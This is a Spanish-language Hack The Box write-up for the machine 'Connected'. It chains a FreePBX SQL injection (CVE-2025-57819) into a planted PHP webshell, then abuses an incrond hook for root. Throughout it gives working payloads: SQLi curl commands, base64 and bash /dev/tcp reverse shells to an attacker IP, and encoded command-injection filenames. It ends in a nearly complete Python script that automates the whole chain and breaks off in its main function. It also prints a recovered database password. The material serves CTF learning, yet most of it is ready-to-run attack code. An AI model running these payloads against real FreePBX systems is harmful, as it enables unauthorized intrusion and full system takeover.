> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/hack-the-box/connected.md).

# Connected

**Dificultad:** Easy | **OS:** Linux | **Fecha:** 06 Jun 2026 | **Creador:** PJ131

***

### Resumen Ejecutivo

Connected expone una instancia de **FreePBX 16.0.40.7** sobre HTTPS. Esa versión es vulnerable a un chain unauthenticated de **SQLi → RCE** (CVE-2025-57819) que permite inyectar trabajos en la tabla `cron_jobs` de la base de datos y dropear una webshell PHP en el webroot.

Una vez dentro como `asterisk`, la escalada a root explota un hook de **incrond** propio de la infraestructura Sangoma/FreePBX: el directorio de triggers es escribible por `asterisk`, y el nombre del archivo que se crea *es* el payload — codificado como `gzip → JSON → base64` para bypassar el filtro del script `sysadmin_manager`, que lo decodifica y ejecuta como root.

**Chain completo:**

```
Unauthenticated SQLi (brand param)
  → INSERT en cron_jobs
    → webshell PHP como asterisk
      → reverse shell estable + TTY upgrade
        → enumeración (sin claves SSH → se descarta pivoteo)
          → write en /var/spool/asterisk/incron/
            → incrond dispara sysadmin_manager como root
              → command injection vía payload en filename
                → root
```

***

### 1. Reconocimiento — Nmap

```bash
nmap -p- --min-rate 5000 -A -T4 10.129.10.139 -oA recon/nmap_full
```

| Puerto | Servicio | Detalle                                   |
| ------ | -------- | ----------------------------------------- |
| 22     | SSH      | OpenSSH 7.4                               |
| 80     | HTTP     | Apache 2.4.6 — redirect a `connected.htb` |
| 443    | HTTPS    | Apache 2.4.6 — SSL cert: `CN=pbxconnect`  |

> **Señal clave:** el `commonName=pbxconnect` en el certificado SSL y el redirect a `http://connected.htb/` indican FreePBX/Sangoma antes de visitar la web. El puerto 53 no responde → DNS descartado.

```bash
echo "10.129.10.139 connected.htb" | sudo tee -a /etc/hosts
```

***

### 2. Enumeración Web

Visitar `https://10.129.10.139/` (o `https://connected.htb/`) redirige al panel de administración de **FreePBX 16.0.40.7**.

```bash
curl -sk https://10.129.10.139/ -L | grep -i "freepbx\|version"
# FreePBX Administration — load_version=16.0.40.7
```

Elemento notable en el HTML del login:

```html
<div id="key" style="color: white; font-size: small">
    n9u74tpn2mfgqs8aqaqre4k8qg
</div>
```

> Ese valor es el **PHPSESSID** reflejado en el DOM — no es una password. Cambia con cada request.

El `robots.txt` confirma la tecnología:

```
# This file is included in the event that an installation has
# inappropriately exposed their GUI to the outside internet...
User-agent: *
Disallow: /
```

Gobuster no aporta rutas relevantes más allá de `/admin`, `/ucp` y `robots.txt`.

***

### 3. Vulnerability Research — CVE-2025-57819

FreePBX 15, 16 y 17 contienen una **SQLi no autenticada** en el endpoint del módulo `endpoint`:

```
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax
                   &command=model&template=x&model=model
                   &brand=<PAYLOAD>
```

El parámetro `brand` se inyecta directamente en una query MySQL sin sanitizar. El tipo de inyección es **error-based** vía `EXTRACTVALUE()` y además soporta **stacked queries**, lo que permite ejecutar `INSERT`, `UPDATE` y `DELETE`.

**Referencias:**

* [CVE-2025-57819 — GitHub Advisory](https://github.com/freepbx/security-reporting/security/advisories/ghsa-m42g-xg4c-5f3h)
* [watchTowr PoC](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819)

***

### 4. Verificación de SQLi

```bash
# Confirmar inyección — extraer usuario de DB
curl -sk "https://10.129.10.139/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT+USER()),'~'))+--+" | grep message
```

**Respuesta:**

```json
{"error":{"message":"XPATH syntax error: '~USER:freepbxuser@localhost~'"}}
```

SQLi confirmada. El usuario de DB es `freepbxuser@localhost`.

#### Extracción de credenciales del admin

```bash
BASE="https://10.129.10.139/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model"

# 1. Listar columnas de ampusers
curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~',(SELECT+GROUP_CONCAT(column_name)+FROM+information_schema.columns+WHERE+table_name='ampusers'),'~'))+--+" | grep -o '"message":"[^"]*"'
# → username,email,extension,passwo  (truncado a 32 chars)

# Ver el resto con SUBSTRING desde el char 30
curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~',(SELECT+SUBSTRING(GROUP_CONCAT(column_name),30)+FROM+information_schema.columns+WHERE+table_name='ampusers'),'~'))+--+" | grep -o '"message":"[^"]*"'
# → word_sha1,extension_low,extensi...
# Columna de password confirmada: password_sha1

# 2. Verificar largo del hash
curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~LEN:',(SELECT+LENGTH(password_sha1)+FROM+ampusers+LIMIT+1),'~'))+--+" | grep -o '"message":"[^"]*"'
# → LEN:40  (SHA1 estándar)

# 3. Extraer hash en dos partes (límite ~30 chars útiles por EXTRACTVALUE)
curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~',(SELECT+SUBSTRING(password_sha1,1,30)+FROM+ampusers+LIMIT+1),'~'))+--+" | grep -o '"message":"[^"]*"'
# → 05c689686a4fad5ce3ec76e7ae5708  (30 chars)

curl -sk "$BASE&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~',(SELECT+SUBSTRING(password_sha1,30)+FROM+ampusers+LIMIT+1),'~'))+--+" | grep -o '"message":"[^"]*"'
# → 8b1fe2da43a

# Reconstrucción del hash — atención al overlap:
#   SUBSTRING(password_sha1, 1, 30)  → "05c689686a4fad5ce3ec76e7ae5708"  (chars 1-30, exactamente 30)
#   SUBSTRING(password_sha1, 31, 30) → "b1fe2da43a"                       (chars 31-40)
#
# Concatenación directa SIN overlap (empezar el 2do chunk en 31, no en 30):
#   05c689686a4fad5ce3ec76e7ae5708 + b1fe2da43a
#   = 05c689686a4fad5ce3ec76e7ae5708b1fe2da43a  ✓ (40 chars)

echo "05c689686a4fad5ce3ec76e7ae5708b1fe2da43a" > loot/admin.hash

# 4. Intentar crackear
hashcat -m 100 loot/admin.hash /usr/share/wordlists/rockyou.txt
# Status: Exhausted — no está en rockyou
```

> **Nota sobre el truncado de EXTRACTVALUE:** MySQL limita el mensaje de error de `EXTRACTVALUE` a \~32 caracteres útiles. Para extraer strings más largos (SHA1 = 40 chars) se hacen dos queries con `SUBSTRING(campo, 1, 30)` y `SUBSTRING(campo, 31, 30)`. **Importante:** el segundo chunk debe empezar en la posición 31, no en 30. Si empieza en 30, el char de esa posición aparece en ambas partes y al concatenar el hash queda de 41 chars (corrupto). Con offset 31 la concatenación es directa y limpia. El hash correcto del admin es `05c689686a4fad5ce3ec76e7ae5708b1fe2da43a`.

> El hash no crackeó con rockyou — la password del admin original no estaba en el diccionario. Esto no es bloqueante: la SQLi permite crear usuarios directamente vía stacked queries (ver sección 5).

***

### 5. Foothold — SQLi → RCE

#### Mecanismo del exploit

El PoC de watchTowr abusa la SQLi con **stacked queries** y tiene dos vías de explotación que ejecuta en orden:

1. **Webshell vía cron\_jobs (primaria):** inserta una fila en la tabla `asterisk.cron_jobs`. El scheduler de FreePBX procesa esa tabla y ejecuta el comando como `asterisk`. El comando decodifica un payload PHP en base64 y lo escribe en el webroot:

   ```
   echo <BASE64_WEBSHELL> | base64 -d > /var/www/html/this-is-an-ioc-not-actually-watchTowr-<random>.php
   ```
2. **Creación de usuario admin (fallback):** si la webshell no aparece (porque el scheduler tardó o está deshabilitado), inyecta un `INSERT INTO ampusers` creando un admin con `sections='*'` y verifica el login. Esto da acceso al panel pero no RCE directo.

La query de creación de usuario (del código del PoC):

```sql
x' ;INSERT INTO ampusers(username,email,extension,password_sha1,extension_low,
   extension_high,deptname,sections)
   VALUES ('watchTowr<suffix>','','','<sha1>','','','','*') -- 
```

#### Obtención y ejecución del PoC

```bash
# Clonar el repo
cd ~/HTB/Connected/exploit/
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819.git
cd watchTowr-vs-FreePBX-CVE-2025-57819

# (o bajar solo el script)
curl -sO https://raw.githubusercontent.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819/main/watchTowr-vs-FreePBX-CVE-2025-57819.py

# Ver uso
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py --help
# usage: poc.py [-h] -H HOST    (solo pide el host, sin LHOST/LPORT)
```

#### Ejecución

```bash
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H https://10.129.10.139
```

Flujo del exploit (según la salida real):

```
[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found:
    https://10.129.10.139/this-is-an-ioc-not-actually-watchTowr-<random>.php?cmd=hostname
[+] Cleaning .sh malicious cron_job - please confirm manually that there is
    no malicious entries in asterisk.cron_jobs table
```

> **Importante:** el exploit espera **hasta 2 minutos** a que el scheduler de FreePBX procese el `cron_jobs` y materialice la webshell. Si en ese tiempo no aparece, cae al modo "user adding". Paciencia en este paso — no es instantáneo.

> **Nota de limpieza:** el PoC avisa que hay que verificar manualmente la tabla `asterisk.cron_jobs` y borrar la entrada maliciosa. En un engagement real esto importa; en HTB es opcional pero buena práctica.

#### Verificación de la webshell

```bash
curl -sk "https://10.129.10.139/this-is-an-ioc-not-actually-watchTowr-<random>.php?cmd=id"
# uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
```

> El nombre `this-is-an-ioc-not-actually-watchTowr-*` es intencional: watchTowr lo usa como **Indicator of Compromise** deliberado para que los defensores puedan detectar fácilmente si alguien corrió este PoC contra su infraestructura.

#### User flag

```bash
curl -sk "https://10.129.10.139/<webshell>.php?cmd=cat+/home/asterisk/user.txt"
# <USER_FLAG>
```

***

### 6. Estabilización de la Shell

La webshell por `curl ?cmd=` sirve para confirmar RCE y leer archivos puntuales, pero es pésima para enumerar: no hay TTY, no se mantiene estado entre comandos (cada request es un proceso nuevo), y cosas como `sudo`, `ssh` o editores interactivos no funcionan. El primer paso real post-foothold es conseguir una **reverse shell estable**.

#### Reverse shell como asterisk

```bash
# Listener en Kali
nc -lvnp 4444
```

```bash
# Disparar desde la webshell (URL-encoded)
curl -sk "https://<TARGET>/<webshell>.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.15.21/4444+0>%261'"
```

> Si el `bash -c` da problemas de encoding a través del `?cmd=`, la alternativa robusta es dropear el script:
>
> ```bash
> curl -sk "https://<TARGET>/<webshell>.php?cmd=echo+YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMS80NDQ0IDA+JjE=|base64+-d>/tmp/r.sh"
> curl -sk "https://<TARGET>/<webshell>.php?cmd=bash+/tmp/r.sh"
> ```

#### Upgrade a TTY interactiva

Una vez que cae la shell en el listener:

```bash
# En el target (vía la revshell)
python3 -c 'import pty;pty.spawn("/bin/bash")' 2>/dev/null \
  || python -c 'import pty;pty.spawn("/bin/bash")' 2>/dev/null \
  || script -qc /bin/bash /dev/null   # fallback si no hay python

# Ctrl+Z para suspender
# En Kali:
stty raw -echo; fg
# Enter, y luego en el target:
export TERM=xterm
export SHELL=/bin/bash
```

> **Nota:** en esta máquina `python3` no estaba en el PATH del usuario `asterisk` en algunos contextos. Si los tres métodos fallan, `script -qc /bin/bash /dev/null` casi siempre funciona en sistemas con `util-linux`.

#### Búsqueda de vías de movimiento lateral / persistencia

Con shell estable, el reflejo correcto antes de privesc es buscar credenciales y claves reutilizables:

```bash
# Claves SSH del usuario actual y otros
find / -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null
ls -la /home/*/.ssh/ 2>/dev/null
ls -la /var/lib/asterisk/.ssh/ 2>/dev/null

# Usuarios con shell válida
grep -vE "nologin|false" /etc/passwd

# Passwords en archivos de config (FreePBX guarda varias)
grep -ri "password" /etc/asterisk/ 2>/dev/null | grep -v "^Binary"
cat /etc/freepbx.conf   # creds de DB
```

> **En Connected:** el usuario `asterisk` **no tiene** `.ssh/` con claves privadas, y la cuenta no aparece con shell de login en `/etc/passwd` (corre como servicio). No hay una RSA que robar ni un segundo usuario al que pivotar por SSH — el único usuario con `/bin/bash` es `asterisk` mismo. Por eso el camino a root **no pasa por SSH/claves sino por el hook de incrond** (sección 8). Documentar este callejón sin salida es valioso: confirma que se descartó la vía SSH antes de ir a incrond, en vez de saltar directo sin justificación.

> **Generalización para otras máquinas:** en muchas máquinas Linux el foothold como `www-data`/servicio sí permite leer una `id_rsa` de otro usuario (ej: Trick, donde se leía la clave de `michael` vía LFI) y pivotar por SSH. Siempre vale la pena buscarla antes de asumir un privesc local. Acá no aplicó, pero el reflejo es correcto.

***

### 7. Enumeración Post-Explotación

#### Credenciales de DB en freepbx.conf

```bash
curl -sk "https://<TARGET>/<webshell>.php?cmd=cat+/etc/freepbx.conf"
```

```php
// This file was generated at 2025-11-30T14:08:27+00:00

$amp_conf["AMPDBUSER"] = "freepbxuser";
$amp_conf["AMPDBPASS"] = "mZzDpAGKTmPJ";
$amp_conf["AMPDBHOST"] = "localhost";
$amp_conf["AMPDBNAME"] = "asterisk";
$amp_conf["AMPDBENGINE"] = "mysql";
```

> Credenciales útiles para conectarse directamente a MySQL si se necesita profundizar en la enumeración de la DB sin pasar por SQLi.

#### Servicios internos

```bash
curl -sk "https://<TARGET>/<webshell>.php?cmd=ss+-tlnp"
```

```
State   Recv-Q  Send-Q   Local Address:Port    Peer Address:Port
LISTEN  0       128            0.0.0.0:22           0.0.0.0:*
LISTEN  0       4096         127.0.0.1:631          0.0.0.0:*
LISTEN  0       32            10.0.3.1:53            0.0.0.0:*     ← DNS interno (LXC)
LISTEN  0       5             127.0.0.1:5901         0.0.0.0:*     ← VNC (Xtigervnc)
LISTEN  0       100      194.113.75.28:80            0.0.0.0:*     ← Apache bind directo
LISTEN  0       128               [::]:22               [::]:*
```

**Observaciones:**

* No hay MySQL, Redis ni MongoDB expuestos → la DB solo es accesible internamente
* Puerto 53 en `10.0.3.1` → interfaz de un contenedor LXC interno (por eso el zone transfer falló al inicio)
* VNC en `127.0.0.1:5901` → sesión gráfica activa, solo accesible con port forward
* Apache está bindeado a la IP pública directamente (`194.113.75.28:80`), no a `0.0.0.0`

#### incrond — el vector de privesc

```bash
cat /etc/incron.d/sysadmin
```

```
/var/spool/asterisk/incron     IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE  /usr/bin/sysadmin_manager $#
/usr/local/asterisk/incron     IN_CLOSE_WRITE                      /usr/bin/sysadmin_manager --local $#
```

**incrond** es el equivalente de cron pero basado en eventos del filesystem (inotify). Cuando detecta un cambio en el directorio watched, ejecuta el comando configurado pasando el nombre del archivo como argumento (`$#`).

```bash
ls -la /var/spool/asterisk/incron/
# drwxrwxr-x asterisk asterisk  ← writable por asterisk!
```

***

### 8. Privilege Escalation — incrond Hook Injection

> **Por qué no por kernel ni sudo:** el sistema corre kernel `5.4.239-1.el7.elrepo.x86_64` (CentOS 7 con kernel elrepo actualizado) y glibc 2.17. El `local_exploit_suggester` descartó todos los exploits de kernel (DirtyPipe, OverlayFS, eBPF, etc. → "not vulnerable"). Aunque sudo 1.8.23 figura como build vulnerable a Baron Samedit, es un rabbit hole (ver sección 9.5). El privesc diseñado de la máquina es el hook de incrond.

#### Del incron a `sysadmin_manager`: el paso de investigación

Ver la línea de incron deja una pregunta abierta: sabemos que root ejecuta `sysadmin_manager <nombre_de_archivo>`, pero **no sabemos qué hace `sysadmin_manager` con ese nombre**. La config de incron no lo dice. El razonamiento para cerrar el hueco es:

**1. ¿Qué es `sysadmin_manager` y qué hace con el filename?** Hay que leer el propio binario/script:

```bash
file /usr/bin/sysadmin_manager
cat /usr/bin/sysadmin_manager        # si es script
# o si es PHP empaquetado, buscar el código fuente del módulo sysadmin:
find / -path "*sysadmin*" -name "*.php" 2>/dev/null
ls -la /var/www/html/admin/modules/sysadmin/
```

**2. Al inspeccionarlo se descubre que es un "dispatcher de hooks".** `sysadmin_manager` no ejecuta el filename directamente: lo **parsea**. Espera nombres con el formato `<nombre-del-hook>.<argumento>` y, según el prefijo (`<nombre-del-hook>`), enruta a distintas funciones. Los hooks válidos son archivos en:

```bash
ls -la /var/www/html/admin/modules/api/hooks/
# ... fwconsole-commands ...   ← uno de los hooks disponibles
```

**3. ¿Por qué `api.fwconsole-commands` y no otro?** Revisando los hooks disponibles, `fwconsole-commands` es el que **toma su argumento, lo decodifica y lo mete en una llamada a `exec()`**. Otros hooks hacen tareas fijas (reiniciar servicios, leer estados) sin ejecutar input del usuario. `fwconsole-commands` es el único que construye un comando shell a partir del argumento → es la superficie de inyección. El nombre del archivo entonces debe tener la forma:

```
api.fwconsole-commands.<ARGUMENTO_CODIFICADO>
└─ prefijo que enruta ─┘ └─ lo que llega al exec() ─┘
```

> **El razonamiento completo, entonces:** incron me dice *"root ejecutará sysadmin\_manager con el nombre de mi archivo"* → leo sysadmin\_manager y descubro que *"interpreta el nombre como hook.argumento y enruta según el hook"* → reviso los hooks y encuentro que *"fwconsole-commands mete el argumento en un exec()"* → conclusión: *"si nombro mi archivo `api.fwconsole-commands.<payload>`, root ejecutará mi payload"*. El `api.fwconsole-commands` no es un nombre mágico — es el resultado de investigar qué hooks acepta el dispatcher y cuál de ellos ejecuta input.

#### Análisis de sysadmin\_manager

Confirmado que el hook es `api.fwconsole-commands`, así es como procesa el argumento:

```php
// El argumento es el nombre del archivo creado en el directorio watched
$b = str_replace("_", "/", $filename_suffix); // restaura base64 estándar
$settings = json_decode(gzuncompress(base64_decode($b)), true);
$command = $settings[0];
$cmd = "/usr/sbin/fwconsole $command 2>&1";
$result = exec($cmd, $output, $return);
```

El nombre del archivo **es** el payload. El script lo toma, reemplaza `_` por `/` (para restaurar base64 válido), decodifica, descomprime, parsea JSON y ejecuta el primer elemento como argumento de `fwconsole`.

**Por qué bypassa el filtro:** el filtro de `sysadmin_manager` valida el nombre del hook y algunos caracteres del argumento visible, pero el payload viaja como `gzip → JSON → base64` — los caracteres peligrosos (`;`, `/bin/cp`, etc.) están ocultos dentro del blob comprimido.

#### Construcción del payload

```python
import base64, json, zlib

cmd = "help; /bin/cp /root/root.txt /var/www/html/root.txt; /bin/chmod 644 /var/www/html/root.txt"
payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")

print(payload)
# eJyLVspIzSmwVtBPyszTTy5Q0C_Kzy8BE3olFSUK+mWJRfrl5eX6...
```

#### Trigger del hook

```bash
printf x > "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
```

**Lo que ocurre internamente:**

1. `incrond` detecta `IN_CLOSE_WRITE` en `/var/spool/asterisk/incron/`
2. Ejecuta como **root**: `/usr/bin/sysadmin_manager api.fwconsole-commands.<PAYLOAD>`
3. `sysadmin_manager` decodifica el filename → obtiene el comando
4. Ejecuta: `sh -c "/usr/sbin/fwconsole help; /bin/cp /root/root.txt /var/www/html/root.txt; /bin/chmod 644 /var/www/html/root.txt 2>&1"`
5. El `;` rompe el contexto de `fwconsole` → los comandos siguientes corren como root

**Verificación (procesos en ejecución durante el trigger):**

```
root  /usr/bin/php /usr/bin/sysadmin_manager api.fwconsole-commands.<PAYLOAD>
root  sh -c /usr/sbin/fwconsole help; /bin/cp /root/root.txt ...
```

#### Root flag

```bash
cat /var/www/html/root.txt
# <ROOT_FLAG>
```

#### Shell interactiva como root

Leer la flag confirma la ejecución de comandos como root, pero para demostrar control total conviene establecer una reverse shell. Se usa exactamente el mismo mecanismo de privesc — solo cambia el comando dentro del payload.

**Paso 1 — Listener en Kali:**

```bash
nc -lvnp 9001
```

**Paso 2 — Construir el payload con la reverse shell:**

```python
import base64, json, zlib

LHOST = "10.10.15.21"
LPORT = "9001"

# El ; rompe el contexto de fwconsole y ejecuta nuestra revshell como root
cmd = f"help; bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"

payload = base64.b64encode(
    zlib.compress(json.dumps([cmd, "txn"]).encode())
).decode().replace("/", "_")

print(payload)
```

**Paso 3 — Disparar el hook desde la webshell (como asterisk):**

```bash
curl -sk "https://<TARGET>/<webshell>.php?cmd=printf+x+>+/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD>"
```

> Nota: si el `bash -c '...'` da problemas de escaping a través de la cadena `fwconsole → exec → sh -c`, una alternativa robusta es dropear el script en disco y ejecutarlo:
>
> ```python
> cmd = "help; /bin/bash /tmp/.r.sh"
> ```
>
> Primero se escribe `/tmp/.r.sh` con la revshell (como asterisk, vía webshell), se le da permisos de ejecución, y luego el hook root lo ejecuta. Esto evita el doble escaping de comillas.

**Paso 4 — incrond dispara el hook como root y la shell cae en el listener:**

```
connect to [10.10.15.21] from (UNKNOWN) [<TARGET>] ...
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
<ROOT_FLAG>
```

> **Por qué funciona como root:** `incrond` ejecuta `sysadmin_manager` como root (está en `/etc/incron.d/sysadmin`, propiedad de root). Todo lo que `sysadmin_manager` lance —incluida nuestra reverse shell inyectada— hereda el contexto de root. La shell resultante es root completa, no un comando aislado.

#### Variante: privesc manual desde sesión Metasploit

Si llegaste al foothold vía el módulo de Metasploit (sección 9.5) en vez del PoC manual, el privesc es **idéntico** — solo cambia el punto de partida. Desde la sesión meterpreter como `asterisk`:

**1. Bajar a shell de sistema y upgradear TTY** (los comandos de filesystem del privesc son más cómodos en una shell normal):

```
meterpreter > shell
python3 -c 'import pty;pty.spawn("/bin/bash")' 2>/dev/null || script -qc /bin/bash /dev/null
export TERM=xterm
```

**2. Confirmar contexto e incrond** (output real de Connected):

```bash
id
# uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

cat /etc/incron.d/sysadmin
# /var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $#

ls -la /var/spool/asterisk/incron/
# drwxrwxr-x. 2 asterisk asterisk 6 ... .    ← writable por asterisk ✓
```

**Por qué este es el vector — desglose de la línea de incron:**

La tabla de incron tiene tres campos, y los tres se alinean perfectamente para permitir la escalada:

```
/var/spool/asterisk/incron   IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE   /usr/bin/sysadmin_manager $#
└──────── PATH ──────────┘   └──────── MÁSCARA ────────────────┘   └────────── COMANDO ──────────┘
```

| Campo                            | Valor                                | Por qué importa                                                                                                                                                                                                                                      |
| -------------------------------- | ------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **PATH** (qué se vigila)         | `/var/spool/asterisk/incron`         | El `ls -la` confirmó que este directorio es `drwxrwxr-x asterisk asterisk` → **podemos escribir adentro**. Si no fuera writable, no habría vector.                                                                                                   |
| **MÁSCARA** (qué evento dispara) | `IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE` | Cualquier creación/modificación de archivo dispara el comando. Un simple `printf x > archivo` genera `IN_CLOSE_WRITE` → suficiente para activarlo. No necesitamos permisos especiales, solo crear un archivo.                                        |
| **COMANDO** (qué se ejecuta)     | `/usr/bin/sysadmin_manager $#`       | Lo ejecuta **incrond**, que corre como **root**. El `$#` es la magia: incron lo sustituye por el **nombre del archivo** que disparó el evento. Es decir, el nombre del archivo que creamos se pasa como argumento a un programa que corre como root. |

**La conclusión del segundo comando:** la línea nos dice que *escribir un archivo en un directorio que controlamos provoca que root ejecute un programa pasándole el nombre de ese archivo*. Eso reduce el problema a una sola pregunta: **¿podemos hacer que `sysadmin_manager` ejecute algo útil a partir del nombre de archivo?** Y la respuesta es sí — el hook `api.fwconsole-commands` decodifica el nombre (`base64 → gzip → JSON`) y lo pasa a un `exec()`, donde un `;` nos da command injection (ver análisis de `sysadmin_manager` en la sección 8).

En resumen, los tres campos forman la cadena:

```
escribimos archivo (controlamos PATH writable)
  → se dispara el evento (MÁSCARA incluye IN_CLOSE_WRITE)
    → root ejecuta sysadmin_manager con el filename como argumento ($#)
      → el filename ES nuestro payload codificado
        → command injection → root
```

**3. Generar el payload directamente en el target** (no hace falta hacerlo en Kali):

```bash
# Listener en Kali primero: nc -lvnp 9001
python3 -c "
import base64, json, zlib
cmd = 'help; bash -c \"bash -i >& /dev/tcp/<TU_IP>/9001 0>&1\"'
p = base64.b64encode(zlib.compress(json.dumps([cmd,'txn']).encode())).decode().replace('/','_')
print('api.fwconsole-commands.' + p)
"
# → imprime el nombre completo del archivo trigger
```

**4. Disparar el hook:**

```bash
printf x > "/var/spool/asterisk/incron/api.fwconsole-commands.<PAYLOAD_GENERADO>"
```

En \~5-10 segundos `incrond` detecta el `IN_CLOSE_WRITE`, ejecuta `sysadmin_manager` como root, decodifica el filename y lanza la reverse shell. Cae root en el listener:

```
connect to [<TU_IP>] from (UNKNOWN) [<TARGET>] ...
# id
uid=0(root) gid=0(root) groups=0(root)
```

> **Detalle práctico:** generar el payload con `python3` en el propio target (paso 3) evita problemas de copiar/pegar strings largos de base64 entre Kali y la shell remota. El `replace('/','_')` es imprescindible — sin él, los `/` del base64 romperían el nombre de archivo y el path del trigger.

***

### 9. PWN Script — Automatización Completa

El siguiente script automatiza el chain completo: SQLi → webshell → user flag → privesc → root flag.

```bash
python3 pwn_connected.py http://10.129.10.139/ --host connected.htb
```

```python
#!/usr/bin/env python3
"""
HTB Connected — pwn_connected.py
CVE-2025-57819: FreePBX Unauth SQLi → RCE → root via incrond hook injection
Usage:
  python3 pwn_connected.py <TARGET_URL> [--host <VHOST>]                    # leer flag
  python3 pwn_connected.py <TARGET_URL> --host <VHOST> --shell --lhost <IP> # revshell root
"""

import argparse, base64, json, random, shlex, string, time, zlib
from urllib.parse import urljoin
import requests, urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PHP_SHELL_B64 = "PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg=="


def randstr(n=10):
    return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))

def normalize(url):
    if not url.startswith(("http://","https://")): url = "http://" + url
    return url.rstrip("/") + "/"

def sqli(session, base_url, vhost, brand):
    r = session.get(
        urljoin(base_url, "admin/ajax.php"),
        params={"module": r"FreePBX\modules\endpoint\ajax",
                "command": "model", "template": "x",
                "model": "model", "brand": brand},
        headers={"Host": vhost} if vhost else {},
        verify=False, allow_redirects=False, timeout=12)
    return r.status_code in (200, 500)

def plant_shell(session, base_url, vhost, suffix):
    name = f"htb-{suffix}.php"
    path = f"/var/www/html/{name}"
    job  = f"htb-{suffix}"
    cmd  = f'echo "{PHP_SHELL_B64}"|base64 -d >{path}'
    brand = (
        f"x' ;INSERT INTO cron_jobs "
        f"(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) "
        f"VALUES ('sysadmin','{job}','{cmd}',NULL,'* * * * *',30,1,1) -- ")
    sqli(session, base_url, vhost, brand)
    return name

def wait_shell(session, base_url, vhost, name, timeout=125):
    url = urljoin(base_url, name)
    headers = {"Host": vhost} if vhost else {}
    end = time.time() + timeout
    while time.time() < end:
        try:
            r = session.get(url, params={"cmd":"id"},
                            headers=headers, verify=False, timeout=8)
            if r.status_code == 200 and "uid=" in r.text:
                return url
        except: pass
        time.sleep(3)
    raise RuntimeError("webshell timeout")

def runcmd(session, shell_url, vhost, cmd):
    headers = {"Host": vhost} if vhost else {}
    r = session.get(shell_url, params={"cmd": cmd},
                    headers=headers, verify=False, timeout=15)
    return r.text.strip()

def encode_hook(cmd):
    return base64.b64encode(
        zlib.compress(json.dumps([cmd,"txn"]).encode())
    ).decode().replace("/","_")

def privesc(session, shell_url, vhost, suffix):
    dest   = f"/var/www/html/.root-{suffix}.txt"
    rcmd   = f"help; /bin/cp /root/root.txt {dest}; /bin/chmod 644 {dest}"
    hook   = f"/var/spool/asterisk/incron/api.fwconsole-commands.{encode_hook(rcmd)}"
    runcmd(session, shell_url, vhost, f"printf x > {shlex.quote(hook)}")
    for _ in range(15):
        time.sleep(1)
        flag = runcmd(session, shell_url, vhost, f"cat {dest} 2>/dev/null")
        if flag and "No such file" not in flag:
            return flag, dest
    raise RuntimeError("root flag not found")

def root_revshell(session, shell_url, vhost, suffix, lhost, lport):
    """
    Dispara una reverse shell como root vía el mismo hook de incrond.
    Para evitar problemas de escaping a través de fwconsole->exec->sh,
    se dropea el script en /tmp y el hook root lo ejecuta.
    """
    # 1. Escribir el script de revshell en disco (como asterisk, vía webshell)
    rs = f"/tmp/.{suffix}.sh"
    rs_content = f"#!/bin/bash\nbash -i >& /dev/tcp/{lhost}/{lport} 0>&1\n"
    rs_b64 = base64.b64encode(rs_content.encode()).decode()
    runcmd(session, shell_url, vhost, f"echo {rs_b64}|base64 -d>{rs}; chmod +x {rs}")

    # 2. El hook root ejecuta el script → la shell cae como root
    rcmd = f"help; /bin/bash {rs}"
    hook = f"/var/spool/asterisk/incron/api.fwconsole-commands.{encode_hook(rcmd)}"
    print(f"[*] Asegurate de tener el listener: nc -lvnp {lport}")
    runcmd(session, shell_url, vhost, f"printf x > {shlex.quote(hook)}")
    print(f"[+] Hook disparado. La shell root debería caer en ~5s.")

def cleanup(session, base_url, vhost, suffix, root_copy, shell_url):
    sqli(session, base_url, vhost,
         f"x'; DELETE FROM cron_jobs WHERE jobname='htb-{suffix}' -- ")
    runcmd(session, shell_url, vhost,
           f"rm -f /var/www/html/htb-{suffix}.php {root_copy} /tmp/.{suffix}.sh")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("target")
    ap.add_argument("--host", default="connected.htb")
    ap.add_argument("--shell", action="store_true",
                    help="Tirar reverse shell root en vez de solo leer la flag")
